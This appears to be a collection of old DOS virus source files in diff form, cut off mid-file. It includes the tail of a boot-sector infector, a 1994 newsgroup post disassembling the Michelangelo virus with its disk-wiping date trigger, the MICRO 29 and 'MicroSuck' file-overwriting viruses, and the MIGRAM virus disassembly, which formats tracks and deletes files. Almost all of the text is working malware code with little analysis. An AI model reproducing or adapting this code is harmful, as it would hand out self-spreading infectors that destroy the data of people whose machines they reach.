MOV DX,0000 v WINCHESTER1 ;
|
||||
INT 13 ;
|
||||
JB BOOTNOW ; jmp on error
|
||||
MOV SI,O PARTTBL + SECSIZE ; copy partition informa-
|
||||
MOV DI,O PARTTBL ; tion to the end of MICHI
|
||||
MOV CX,0021 ;
|
||||
REP MOVSW ;
|
||||
MOV AX,wWRITE v 1 ; and write MICHI to the first
|
||||
XOR BX,BX ; sector of the hard disk ...
|
||||
INC CL ;
|
||||
INT 13 ;
|
||||
JMP BOOTNOW ;
|
||||
;
|
||||
; -----------------------------------------------------------------------------
|
||||
;
|
||||
ORG SECSIZE - 2 ; Bootblock / partition table /
|
||||
DB 055,0AA ; ROM signature
|
||||
;
|
||||
; -----------------------------------------------------------------------------
|
||||
|
||||
TEXT ENDS
|
||||
|
||||
END START
|
||||
@@ -0,0 +1,263 @@
|
||||
From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:45:29 1994
|
||||
Xref: netcom.com alt.comp.virus:511
|
||||
Path: netcom.com!ix.netcom.com!netnews
|
||||
From: Zeppelin@ix.netcom.com (Mr. G)
|
||||
Newsgroups: alt.comp.virus
|
||||
Subject: Ye Ole MichelAngelo Virus
|
||||
Date: 29 Nov 1994 13:19:53 GMT
|
||||
Organization: Netcom
|
||||
Lines: 248
|
||||
Distribution: world
|
||||
Message-ID: <3bf9pp$iil@ixnews1.ix.netcom.com>
|
||||
References: <sbringerD00yHv.Hs3@netcom.com> <bradleymD011vJ.Lp8@netcom.com>
|
||||
NNTP-Posting-Host: ix-pas2-10.ix.netcom.com
|
||||
|
||||
; This is a disassembly of the much-hyped michelangelo virus.
|
||||
; As you can see, it is a derivative of the Stoned virus. The
|
||||
; junk bytes at the end of the file are probably throwbacks to
|
||||
; the Stoned virus. In any case, it is yet another boot sector
|
||||
; and partition table infector.
|
||||
|
||||
michelangelo segment byte public
|
||||
assume cs:michelangelo, ds:michelangelo
|
||||
org 0
|
||||
|
||||
jmp entervirus
|
||||
highmemjmp db 0F5h, 00h, 80h, 9Fh
|
||||
maxhead db 2 ; used by damagestuff
|
||||
firstsector dw 3
|
||||
oldint13h dd 0C8000256h
|
||||
|
||||
int13h:
|
||||
push ds
|
||||
push ax
|
||||
or dl, dl ; default drive?
|
||||
jnz exitint13h ; exit if not
|
||||
xor ax, ax
|
||||
mov ds, ax
|
||||
test byte ptr ds:[43fh], 1 ; disk 0 on?
|
||||
jnz exitint13h ; if not spinning, exit
|
||||
pop ax
|
||||
pop ds
|
||||
pushf
|
||||
call dword ptr cs:[oldint13h]; first call old int 13h
|
||||
pushf
|
||||
call infectdisk ; then infect
|
||||
popf
|
||||
retf 2
|
||||
exitint13h: pop ax
|
||||
pop ds
|
||||
jmp dword ptr cs:[oldint13h]
|
||||
|
||||
infectdisk:
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push ds
|
||||
push es
|
||||
push si
|
||||
push di
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
mov si, 4
|
||||
readbootblock:
|
||||
mov ax,201h ; Read boot block to
|
||||
mov bx,200h ; after virus
|
||||
mov cx,1
|
||||
xor dx,dx
|
||||
pushf
|
||||
call oldint13h
|
||||
jnc checkinfect ; continue if no error
|
||||
xor ax,ax
|
||||
pushf
|
||||
call oldint13h ; Reset disk
|
||||
dec si ; loop back
|
||||
jnz readbootblock
|
||||
jmp short quitinfect ; exit if too many
|
||||
failures
|
||||
checkinfect:
|
||||
xor si,si
|
||||
cld
|
||||
lodsw
|
||||
cmp ax,[bx] ; check if already
|
||||
infected
|
||||
jne infectitnow
|
||||
lodsw
|
||||
cmp ax,[bx+2] ; check again
|
||||
je quitinfect
|
||||
infectitnow:
|
||||
mov ax,301h ; Write old boot block
|
||||
mov dh,1 ; to head 1
|
||||
mov cl,3 ; sector 3
|
||||
cmp byte ptr [bx+15h],0FDh ; 360k disk?
|
||||
je is360Kdisk
|
||||
mov cl,0Eh
|
||||
is360Kdisk:
|
||||
mov firstsector,cx
|
||||
pushf
|
||||
call oldint13h
|
||||
jc quitinfect ; exit on error
|
||||
mov si,200h+offset partitioninfo
|
||||
mov di,offset partitioninfo
|
||||
mov cx,21h ; Copy partition table
|
||||
cld
|
||||
rep movsw
|
||||
mov ax,301h ; Write virus to sector
|
||||
1
|
||||
xor bx,bx
|
||||
mov cx,1
|
||||
xor dx,dx
|
||||
pushf
|
||||
call oldint13h
|
||||
quitinfect:
|
||||
pop di
|
||||
pop si
|
||||
pop es
|
||||
pop ds
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
retn
|
||||
entervirus:
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
cli
|
||||
mov ss,ax
|
||||
mov ax,7C00h ; Set stack to just
|
||||
below
|
||||
mov sp,ax ; virus load point
|
||||
sti
|
||||
push ds ; save 0:7C00h on stack
|
||||
for
|
||||
push ax ; later retf
|
||||
mov ax,ds:[13h*4]
|
||||
mov word ptr ds:[7C00h+offset oldint13h],ax
|
||||
mov ax,ds:[13h*4+2]
|
||||
mov word ptr ds:[7C00h+offset oldint13h+2],ax
|
||||
mov ax,ds:[413h] ; memory size in K
|
||||
dec ax ; 1024 K
|
||||
dec ax
|
||||
mov ds:[413h],ax ; move new value in
|
||||
mov cl,6
|
||||
shl ax,cl ; ax = paragraphs of
|
||||
memory
|
||||
mov es,ax ; next line sets seg of
|
||||
jmp
|
||||
mov word ptr ds:[7C00h+2+offset highmemjmp],ax
|
||||
mov ax,offset int13h
|
||||
mov ds:[13h*4],ax
|
||||
mov ds:[13h*4+2],es
|
||||
mov cx,offset partitioninfo
|
||||
mov si,7C00h
|
||||
xor di,di
|
||||
cld
|
||||
rep movsb ; copy to high memory
|
||||
; and transfer control
|
||||
there
|
||||
jmp dword ptr cs:[7C00h+offset highmemjmp]
|
||||
; destination of highmem jmp
|
||||
xor ax,ax
|
||||
mov es,ax
|
||||
int 13h ; reset disk
|
||||
push cs
|
||||
pop ds
|
||||
mov ax,201h
|
||||
mov bx,7C00h
|
||||
mov cx,firstsector
|
||||
cmp cx,7 ; hard disk infection?
|
||||
jne floppyboot ; if not, do floppies
|
||||
mov dx,80h ; Read old partition
|
||||
table of
|
||||
int 13h ; first hard disk to
|
||||
0:7C00h
|
||||
jmp short exitvirus
|
||||
floppyboot:
|
||||
mov cx,firstsector ; read old boot block
|
||||
mov dx,100h ; to 0:7C00h
|
||||
int 13h
|
||||
jc exitvirus
|
||||
push cs
|
||||
pop es
|
||||
mov ax,201h ; read boot block
|
||||
mov bx,200h ; of first hard disk
|
||||
mov cx,1
|
||||
mov dx,80h
|
||||
int 13h
|
||||
jc exitvirus
|
||||
xor si,si
|
||||
cld
|
||||
lodsw
|
||||
cmp ax,[bx] ; is it infected?
|
||||
jne infectharddisk ; if not, infect HD
|
||||
lodsw ; check infection
|
||||
cmp ax,[bx+2]
|
||||
jne infectharddisk
|
||||
exitvirus:
|
||||
xor cx,cx ; Real time clock get
|
||||
date
|
||||
mov ah,4 ; dx = mon/day
|
||||
int 1Ah
|
||||
cmp dx,306h ; March 6th
|
||||
je damagestuff
|
||||
retf ; return control to
|
||||
original
|
||||
; boot block @ 0:7C00h
|
||||
damagestuff:
|
||||
xor dx,dx
|
||||
mov cx,1
|
||||
smashanothersector:
|
||||
mov ax,309h
|
||||
mov si,firstsector
|
||||
cmp si,3
|
||||
je smashit
|
||||
mov al,0Eh
|
||||
cmp si,0Eh
|
||||
je smashit
|
||||
mov dl,80h ; first hard disk
|
||||
mov maxhead,4
|
||||
mov al,11h
|
||||
smashit:
|
||||
mov bx,5000h ; random memory area
|
||||
mov es,bx ; at 5000h:5000h
|
||||
int 13h ; Write al sectors to
|
||||
drive dl
|
||||
jnc skiponerror ; skip on error
|
||||
xor ah,ah ; Reset disk drive dl
|
||||
int 13h
|
||||
skiponerror:
|
||||
inc dh ; next head
|
||||
cmp dh,maxhead ; 2 if floppy, 4 if HD
|
||||
jb smashanothersector
|
||||
xor dh,dh ; go to next
|
||||
head/cylinder
|
||||
inc ch
|
||||
jmp short smashanothersector
|
||||
infectharddisk:
|
||||
mov cx,7 ; Write partition table
|
||||
to
|
||||
mov firstsector,cx ; sector 7
|
||||
mov ax,301h
|
||||
mov dx,80h
|
||||
int 13h
|
||||
jc exitvirus
|
||||
mov si,200h+offset partitioninfo ; Copy partition
|
||||
mov di,offset partitioninfo ; table information
|
||||
mov cx,21h
|
||||
rep movsw
|
||||
mov ax,301h ; Write to sector 8
|
||||
xor bx,bx ; Copy virus to sector 1
|
||||
inc cl
|
||||
int 13h
|
||||
;* jmp short 01E0h
|
||||
db 0EBh, 32h ; ?This should crash?
|
||||
; The following bytes are meaningless.
|
||||
garbage db 1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h
|
||||
partitioninfo: db 42h dup (0)
|
||||
michelangelo ends
|
||||
end
|
||||
|
||||
|
||||
@@ -0,0 +1,24 @@
|
||||
; #############################################################################
|
||||
; ### ###
|
||||
; ### M i C R O 29 ###
|
||||
; ### ###
|
||||
; ### By ###
|
||||
; ### ###
|
||||
; ### Dreamer / Demoralized Youth ###
|
||||
; ### ###
|
||||
; #############################################################################
|
||||
|
||||
MOV AH,4Eh ;Dos Universal: FIND FIRST
|
||||
MOV DX,OFFSET PATT
|
||||
INT 21h
|
||||
MOV AX,3D02h ;Dos Universal: OPEN HANDLE
|
||||
MOV DX,9Eh
|
||||
INT 21h
|
||||
XCHG AX,BX
|
||||
MOV AH,40h ;Dos Universal: WRITE TO HANDLE
|
||||
ADD DX,62h
|
||||
INT 21h
|
||||
RET
|
||||
|
||||
PATT DB '*.C*',0
|
||||
|
||||
@@ -0,0 +1,42 @@
|
||||
/* MicroSuck V.1.0 (c)YeahRight! 1997 By: Techno Phunk
|
||||
one of many high level language viruses writen to shut
|
||||
up some of the people in a.c.v.s.c (alt.comp.virus.source.code)
|
||||
and to show them that it can be done (even by me who has only about
|
||||
2 hours of C++ experience) compile with tc.exe (editor), exe normal
|
||||
This is based on the C++ virus in virology 101, since it is what I
|
||||
looked at to see how to write a virus in C++ I added something
|
||||
before puting it here, and forgot to check for the new size
|
||||
so YOU will have to compile it once, look at the size, then change
|
||||
the variable x to the size....otherwise the "virus" will not be copied
|
||||
compleatly */
|
||||
#include <stdio.h
|
||||
#include <dir.h
|
||||
#include <dos.h
|
||||
FILE *Virus,*Host;
|
||||
char buff[512];
|
||||
int x,y,done;
|
||||
struct ffblk ffblk;
|
||||
int main()
|
||||
{
|
||||
done = findfirst("*.EXE",&ffblk,0); /* Find a host (EXE file) */
|
||||
while (!done)
|
||||
{
|
||||
Host=fopen(ffblk.ff_name,"rb+"); /* Open host */
|
||||
Virus=fopen(_argv[0],"rb"); /* Open our virus */
|
||||
/* may need to modify the next line */
|
||||
x=12099; /* our lifeforms size */
|
||||
while (x512) /* here we overwrite the host */
|
||||
{ /* 512 byte chunks at a time */
|
||||
fread(buff,512,1,Virus); /* ^ sector size ;), could be anything */
|
||||
fwrite(buff,512,1,Host);
|
||||
x-=512;
|
||||
} /* if 512 or less byes */
|
||||
fread(buff,x,1,Virus); /* Finish infection */
|
||||
fwrite(buff,x,1,Host);
|
||||
fcloseall(); /* Close */
|
||||
done = findnext(&ffblk); /* try agian */
|
||||
}
|
||||
mkdir ("MicroSuck (c) 1997 By: Techno Phunk") /* activation would go */
|
||||
/* here */
|
||||
return (0); /* Terminate */
|
||||
}
|
||||
@@ -0,0 +1,657 @@
|
||||
PAGE 59,132
|
||||
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ MIGRAM ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ Created: 2-Jan-80 ÛÛ
|
||||
;ÛÛ Version: ÛÛ
|
||||
;ÛÛ Passes: 5 Analysis Options on: H ÛÛ
|
||||
;ÛÛ (C) 1991 IVL ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
|
||||
data_1e equ 4Ch ; (0000:004C=0D0h)
|
||||
data_3e equ 84h ; (0000:0084=0C7h)
|
||||
data_5e equ 90h ; (0000:0090=0BFh)
|
||||
data_7e equ 102h ; (0000:0102=0F000h)
|
||||
data_8e equ 106h ; (0000:0106=0F000h)
|
||||
data_9e equ 47Bh ; (0000:047B=14h)
|
||||
data_10e equ 0 ; (0676:0000=0E8h)
|
||||
data_11e equ 1 ; (0677:0001=3EC4h)
|
||||
data_12e equ 2 ; (06C7:0002=0B8C3h)
|
||||
data_13e equ 6 ; (06C7:0006=0F0EBh)
|
||||
data_35e equ 0FCB6h ; (7382:FCB6=0)
|
||||
data_36e equ 0FCB8h ; (7382:FCB8=0)
|
||||
data_37e equ 0FCD4h ; (7382:FCD4=0)
|
||||
data_38e equ 0FCD6h ; (7382:FCD6=0)
|
||||
data_39e equ 0FCD8h ; (7382:FCD8=0)
|
||||
data_40e equ 0FCE2h ; (7382:FCE2=0)
|
||||
data_41e equ 0FCE4h ; (7382:FCE4=0)
|
||||
data_42e equ 0FCEAh ; (7382:FCEA=0)
|
||||
data_43e equ 0FCECh ; (7382:FCEC=0)
|
||||
data_44e equ 0 ; (F000:0000=0AA55h)
|
||||
data_45e equ 2 ; (F000:0002=40h)
|
||||
|
||||
seg_a segment byte public
|
||||
assume cs:seg_a, ds:seg_a
|
||||
|
||||
|
||||
org 100h
|
||||
|
||||
migram proc far
|
||||
|
||||
start:
|
||||
jmp loc_22 ; (0449)
|
||||
db 0C3h
|
||||
db 23 dup (0C3h)
|
||||
db 2Ah, 2Eh, 5Ah, 49h, 50h, 0
|
||||
data_17 dw 0C3C3h
|
||||
data_18 dw 0C3C3h
|
||||
data_19 db 0, 0
|
||||
data_20 dw 0
|
||||
data_21 dw 0
|
||||
data_22 dw 0
|
||||
data_23 dw 7382h
|
||||
data_24 dd 00000h
|
||||
data_25 dw 0
|
||||
data_26 dw 7382h
|
||||
data_27 dd 00000h
|
||||
data_28 dw 0
|
||||
data_29 dw 7382h
|
||||
data_30 db 0Ah, 0Dh, ' ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ'
|
||||
db '»', 0Ah, 0Dh, ' º MIGRAM VIRUS '
|
||||
db '1.0 º', 0Ah, 0Dh, ' º (C) 19'
|
||||
db '91 IVL º', 0Ah, 0Dh, ' ÈÍÍÍÍÍ'
|
||||
db 'ÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ', 0Ah, 0Dh, 0Ah
|
||||
db 0Dh, '$'
|
||||
db 3Dh, 4Dh, 4Bh, 75h, 9, 55h
|
||||
db 8Bh, 0ECh, 83h, 66h, 6, 0FEh
|
||||
db 5Dh, 0CFh, 80h, 0FCh, 4Bh, 74h
|
||||
db 12h, 3Dh, 0, 3Dh, 74h, 0Dh
|
||||
db 3Dh, 0, 6Ch, 75h, 5, 80h
|
||||
db 0FBh, 0, 74h, 3
|
||||
loc_1:
|
||||
jmp loc_13 ; (0277)
|
||||
loc_2:
|
||||
push es
|
||||
push ds
|
||||
push di
|
||||
push si
|
||||
push bp
|
||||
push dx
|
||||
push cx
|
||||
push bx
|
||||
push ax
|
||||
call sub_6 ; (03CF)
|
||||
call sub_7 ; (040C)
|
||||
cmp ax,6C00h
|
||||
jne loc_3 ; Jump if not equal
|
||||
mov dx,si
|
||||
loc_3:
|
||||
mov cx,80h
|
||||
mov si,dx
|
||||
|
||||
locloop_4:
|
||||
inc si
|
||||
mov al,[si]
|
||||
or al,al ; Zero ?
|
||||
loopnz locloop_4 ; Loop if zf=0, cx>0
|
||||
|
||||
sub si,2
|
||||
cmp word ptr [si],5049h
|
||||
je loc_7 ; Jump if equal
|
||||
cmp word ptr [si],4558h
|
||||
je loc_6 ; Jump if equal
|
||||
loc_5:
|
||||
jmp short loc_12 ; (026B)
|
||||
db 90h
|
||||
loc_6:
|
||||
cmp word ptr [si-2],452Eh
|
||||
je loc_8 ; Jump if equal
|
||||
jmp short loc_5 ; (01FE)
|
||||
loc_7:
|
||||
cmp word ptr [si-2],5A2Eh
|
||||
jne loc_5 ; Jump if not equal
|
||||
loc_8:
|
||||
mov ax,3D02h
|
||||
call sub_5 ; (03C8)
|
||||
jc loc_12 ; Jump if carry Set
|
||||
mov bx,ax
|
||||
mov ax,5700h
|
||||
call sub_5 ; (03C8)
|
||||
mov cs:data_20,cx ; (7382:0127=0)
|
||||
mov cs:data_21,dx ; (7382:0129=0)
|
||||
mov ax,4200h
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
call sub_5 ; (03C8)
|
||||
push cs
|
||||
pop ds
|
||||
mov dx,103h
|
||||
mov si,dx
|
||||
mov cx,18h
|
||||
mov ah,3Fh ; '?'
|
||||
call sub_5 ; (03C8)
|
||||
jc loc_10 ; Jump if carry Set
|
||||
cmp word ptr [si],5A4Dh
|
||||
jne loc_9 ; Jump if not equal
|
||||
call sub_1 ; (027C)
|
||||
jmp short loc_10 ; (0254)
|
||||
loc_9:
|
||||
call sub_4 ; (03AA)
|
||||
loc_10:
|
||||
jc loc_11 ; Jump if carry Set
|
||||
mov ax,5701h
|
||||
mov cx,cs:data_20 ; (7382:0127=0)
|
||||
mov dx,cs:data_21 ; (7382:0129=0)
|
||||
call sub_5 ; (03C8)
|
||||
loc_11:
|
||||
mov ah,3Eh ; '>'
|
||||
call sub_5 ; (03C8)
|
||||
loc_12:
|
||||
call sub_7 ; (040C)
|
||||
pop ax
|
||||
pop bx
|
||||
pop cx
|
||||
pop dx
|
||||
pop bp
|
||||
pop si
|
||||
pop di
|
||||
pop ds
|
||||
pop es
|
||||
loc_13:
|
||||
jmp cs:data_24 ; (7382:012F=0)
|
||||
|
||||
migram endp
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_1 proc near
|
||||
mov ah,2Ah ; '*'
|
||||
int 21h ; DOS Services ah=function 2Ah
|
||||
; get date, cx=year, dx=mon/day
|
||||
cmp al,6
|
||||
je loc_15 ; Jump if equal
|
||||
jnz loc_14 ; Jump if not zero
|
||||
loc_14:
|
||||
mov cx,[si+16h]
|
||||
add cx,[si+8]
|
||||
mov ax,10h
|
||||
mul cx ; dx:ax = reg * ax
|
||||
add ax,[si+14h]
|
||||
adc dx,0
|
||||
push dx
|
||||
push ax
|
||||
mov ax,4202h
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
call sub_5 ; (03C8)
|
||||
cmp dx,0
|
||||
jne loc_16 ; Jump if not equal
|
||||
cmp ax,4C3h
|
||||
jae loc_16 ; Jump if above or =
|
||||
pop ax
|
||||
pop dx
|
||||
stc ; Set carry flag
|
||||
retn
|
||||
loc_15:
|
||||
mov ah,5
|
||||
mov ch,0
|
||||
mov cl,0
|
||||
mov dh,0
|
||||
mov dl,2
|
||||
int 13h ; Disk dl=drive #: ah=func c5h
|
||||
; format track=ch or cylindr=cx
|
||||
mov ah,5
|
||||
mov ch,0
|
||||
mov cl,1
|
||||
mov dh,0
|
||||
mov dl,2
|
||||
int 13h ; Disk dl=drive #: ah=func c5h
|
||||
; format track=ch or cylindr=cx
|
||||
mov ah,5
|
||||
mov ch,0
|
||||
mov cl,2
|
||||
mov dh,0
|
||||
mov dl,2
|
||||
int 13h ; Disk dl=drive #: ah=func c5h
|
||||
; format track=ch or cylindr=cx
|
||||
mov ah,5
|
||||
mov ch,0
|
||||
mov cl,3
|
||||
mov dh,0
|
||||
mov dl,2
|
||||
int 13h ; Disk dl=drive #: ah=func c5h
|
||||
; format track=ch or cylindr=cx
|
||||
mov ah,5
|
||||
mov ch,0
|
||||
mov cl,4
|
||||
mov dh,0
|
||||
mov dl,2
|
||||
int 13h ; Disk dl=drive #: ah=func c5h
|
||||
; format track=ch or cylindr=cx
|
||||
mov ah,5
|
||||
mov ch,0
|
||||
mov cl,5
|
||||
mov dh,0
|
||||
mov dl,2
|
||||
int 13h ; Disk dl=drive #: ah=func c5h
|
||||
; format track=ch or cylindr=cx
|
||||
mov dx,offset data_30 ; (7382:013F=0Ah)
|
||||
mov ah,9
|
||||
int 21h ; DOS Services ah=function 09h
|
||||
; display char string at ds:dx
|
||||
call sub_9 ; (043A)
|
||||
int 20h ; Program Terminate
|
||||
loc_16:
|
||||
mov di,ax
|
||||
mov bp,dx
|
||||
pop cx
|
||||
sub ax,cx
|
||||
pop cx
|
||||
sbb dx,cx
|
||||
cmp word ptr [si+0Ch],0
|
||||
je loc_ret_19 ; Jump if equal
|
||||
cmp dx,0
|
||||
jne loc_17 ; Jump if not equal
|
||||
cmp ax,4C3h
|
||||
jne loc_17 ; Jump if not equal
|
||||
stc ; Set carry flag
|
||||
retn
|
||||
loc_17:
|
||||
mov dx,bp
|
||||
mov ax,di
|
||||
push dx
|
||||
push ax
|
||||
add ax,4C3h
|
||||
adc dx,0
|
||||
mov cx,200h
|
||||
div cx ; ax,dx rem=dx:ax/reg
|
||||
les di,dword ptr [si+2] ; Load 32 bit ptr
|
||||
mov cs:data_22,di ; (7382:012B=0)
|
||||
mov cs:data_23,es ; (7382:012D=7382h)
|
||||
mov [si+2],dx
|
||||
cmp dx,0
|
||||
je loc_18 ; Jump if equal
|
||||
inc ax
|
||||
loc_18:
|
||||
mov [si+4],ax
|
||||
pop ax
|
||||
pop dx
|
||||
call sub_2 ; (038B)
|
||||
sub ax,[si+8]
|
||||
les di,dword ptr [si+14h] ; Load 32 bit ptr
|
||||
mov data_17,di ; (7382:0121=0C3C3h)
|
||||
mov data_18,es ; (7382:0123=0C3C3h)
|
||||
mov [si+14h],dx
|
||||
mov [si+16h],ax
|
||||
mov word ptr data_19,ax ; (7382:0125=0)
|
||||
mov ax,4202h
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
call sub_5 ; (03C8)
|
||||
call sub_3 ; (039C)
|
||||
jc loc_ret_19 ; Jump if carry Set
|
||||
mov ax,4200h
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
call sub_5 ; (03C8)
|
||||
mov ah,40h ; '@'
|
||||
mov dx,si
|
||||
mov cx,18h
|
||||
call sub_5 ; (03C8)
|
||||
|
||||
loc_ret_19:
|
||||
retn
|
||||
sub_1 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_2 proc near
|
||||
mov cx,4
|
||||
mov di,ax
|
||||
and di,0Fh
|
||||
|
||||
locloop_20:
|
||||
shr dx,1 ; Shift w/zeros fill
|
||||
rcr ax,1 ; Rotate thru carry
|
||||
loop locloop_20 ; Loop if cx > 0
|
||||
|
||||
mov dx,di
|
||||
retn
|
||||
sub_2 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_3 proc near
|
||||
mov ah,40h ; '@'
|
||||
mov cx,4C3h
|
||||
mov dx,100h
|
||||
call sub_6 ; (03CF)
|
||||
jmp short loc_21 ; (03C8)
|
||||
db 90h
|
||||
|
||||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
|
||||
sub_4:
|
||||
mov dx,10h
|
||||
mov ah,1Ah
|
||||
int 21h ; DOS Services ah=function 1Ah
|
||||
; set DTA to ds:dx
|
||||
mov dx,11Bh
|
||||
mov cx,110Bh
|
||||
mov ah,4Eh ; 'N'
|
||||
int 21h ; DOS Services ah=function 4Eh
|
||||
; find 1st filenam match @ds:dx
|
||||
mov dx,2Eh
|
||||
mov ax,3D02h
|
||||
int 21h ; DOS Services ah=function 3Dh
|
||||
; open file, al=mode,name@ds:dx
|
||||
mov ah,41h ; 'A'
|
||||
int 21h ; DOS Services ah=function 41h
|
||||
; delete file, name @ ds:dx
|
||||
retn
|
||||
sub_3 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_5 proc near
|
||||
loc_21:
|
||||
pushf ; Push flags
|
||||
call cs:data_24 ; (7382:012F=0)
|
||||
retn
|
||||
sub_5 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_6 proc near
|
||||
push ax
|
||||
push ds
|
||||
push es
|
||||
xor ax,ax ; Zero register
|
||||
push ax
|
||||
pop ds
|
||||
cli ; Disable interrupts
|
||||
les ax,dword ptr ds:data_5e ; (0000:0090=5BFh) Load 32 bit ptr
|
||||
mov cs:data_25,ax ; (7382:0133=0)
|
||||
mov cs:data_26,es ; (7382:0135=7382h)
|
||||
mov ax,431h
|
||||
mov ds:data_5e,ax ; (0000:0090=5BFh)
|
||||
mov word ptr ds:data_5e+2,cs ; (0000:0092=0EA3h)
|
||||
les ax,dword ptr ds:data_1e ; (0000:004C=20D0h) Load 32 bit ptr
|
||||
mov cs:data_28,ax ; (7382:013B=0)
|
||||
mov cs:data_29,es ; (7382:013D=7382h)
|
||||
les ax,cs:data_27 ; (7382:0137=0) Load 32 bit ptr
|
||||
mov ds:data_1e,ax ; (0000:004C=20D0h)
|
||||
mov word ptr ds:data_1e+2,es ; (0000:004E=102Ch)
|
||||
sti ; Enable interrupts
|
||||
pop es
|
||||
pop ds
|
||||
pop ax
|
||||
retn
|
||||
sub_6 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_7 proc near
|
||||
push ax
|
||||
push ds
|
||||
push es
|
||||
xor ax,ax ; Zero register
|
||||
push ax
|
||||
pop ds
|
||||
cli ; Disable interrupts
|
||||
les ax,dword ptr cs:data_25 ; (7382:0133=0) Load 32 bit ptr
|
||||
mov ds:data_5e,ax ; (0000:0090=5BFh)
|
||||
mov word ptr ds:data_5e+2,es ; (0000:0092=0EA3h)
|
||||
les ax,dword ptr cs:data_28 ; (7382:013B=0) Load 32 bit ptr
|
||||
mov ds:data_1e,ax ; (0000:004C=20D0h)
|
||||
mov word ptr ds:data_1e+2,es ; (0000:004E=102Ch)
|
||||
sti ; Enable interrupts
|
||||
pop es
|
||||
pop ds
|
||||
pop ax
|
||||
retn
|
||||
sub_7 endp
|
||||
|
||||
db 0B0h, 3, 0CFh
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
